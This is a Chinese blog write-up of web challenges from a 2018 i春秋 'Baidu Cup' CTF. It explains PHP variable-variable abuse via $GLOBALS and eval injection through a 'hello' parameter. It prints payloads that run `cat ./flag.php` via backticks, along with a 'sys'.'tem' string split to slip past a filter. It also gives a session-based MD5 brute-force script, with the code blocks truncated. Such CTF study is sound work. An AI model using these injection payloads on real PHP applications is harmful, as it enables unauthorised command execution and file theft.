i春秋 百度杯 CTF比赛（二月场） Misc web题解 By Assassin

原创

水杯中的秋天 于 2018-11-13 18:12:35 发布 1574 收藏 1

分享一下我老师大神的人工智能教程！零基础，通俗易懂！http://blog.csdn.net/jiangjunshow

也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！

学习web，搞起来！

百度杯"CTF比赛（二月场）训练赛传送门

爆破-1

打开题目我们直接就看到源码，加上注释如下

```
<?phpinclude "flag.php";          //包含flag.php这个文件$a = @$_REQUEST['hello'];     //$a这个变量i
```

而且通过题目链接可以知道hello变量一定是6位的，一开始真以为是爆破了，但是一想肯定很大，不可能。而且我们发现 $$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名。例如

```
<?php$a='b';$b="hello world!";eval("var_dump($$a);");?>
```

上面代码会输出hello world!
PHP一个比较有意思的变量!$GLOBALS：一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

于是我们在url上构造/?hello=GLOBALS，结果就直接出来了！根本不是爆破好吧！

爆破-2

这时候代码为

```
<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
```

我们可以看到第一种方法不好用了，所以另辟他径！我们注意到flag.php，会不会答案就在这个里面呢？而且”var_dump($a);”这个字符串是不是可以注入呢？明显是可以的！

构造payload如下

```
?hello=);echo%20`cat%20./flag.php`;//
```

然后这里面就必须讲一下一些小技巧！第一单引号，双引号，反引号在bash中的作用！
（PS：反引号位 (`) 位于键盘的Tab键的上方、1键的左方。注意与单引号(‘)位于Enter键的左方的区别。）

反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下：

```
[root@localhost sh]# echo The date is `date`
The date is 2011年 03月 14日 星期一 21:15:43 CST
```

单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号，shell会把空格后的字符串解释为命令。
单引号和双引号的区别。单引号告诉shell忽略所有特殊字符，而双引号忽略大多数，但不包括$、\、`。
栗子：

```
[root@localhost tmp]# echo ‘the date is `date`’
the date is `date`
[root@localhost tmp]# echo “the date is `date`”
the date is Fri Oct 9 00:11:56 CST 2015
```

是不是发现了什么！eval(“var_dump($a);”);正式双引号！！！我们就可以用`了！
然后用cat读取输出即可！

这里还收集了其他的姿势！payload如下：

```
?hello=$a);print_r(file("./flag.php")); //
```

```
hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); // 这里发现 i春秋 在http请求中拦截
```

爆破-3

首先我们看到题目的脚本

```
<?php error_reporting(0);session_start();require('./flag.php');if(!isset($_SESSION['nums'])){  $_SESSIO
```

简易的分析可以知道生成几个SESSION变量，其中time是计时的，nums是计数的。当nums没有设置的时候会给一个初始化变量。需要在120s内完成遮掩一件事。脚本用随机数跑出两位的字符串，你需要输入一个串前两位和随机生成的串相等，而且输入串的MD5值的第5-9为必须为“0000”。这个时候全部匹配的话nums++。在匹配后whoami被更新，但是它在页面中输出了，我们可以知道！当nums在120s内完成10次以上就可以得到flag。

那么问题来了，真的是爆破的话我们需要跑出一个字典，分别记录26*26种开头对应满足条件的串.

爆破脚本

```
# -*- coding:utf-8 -*-  #这个脚本用random跑的随机串，生成的速度慢一些import randomimport hashlibstr1=["a", "
```

然后我们就要用脚本链接目标网站了，但是有一个问题，用python实现的时候要用requests中的requests.Session()，而不可以直接urlopen，因为每一次这样打开相当于新的链接进入，session是不会保存的！注意！

下面是实验成功代码（注意我这么写主要根据的字典的格式）

```
import requestsfile = 'C:\\xxxx\\mima.txt'mima= open(file,'r+')content=mima.readlines()session = reques
```

顺手分享一下现成的字典

```
aa aawkntaxab abbjfeskac achfwxqvad adjsvcmdae aegrykslaf afbqavhoag agmesuotah ahzfkgkbai aivobshxaj a
```


小编那么拼
赞一个再撤！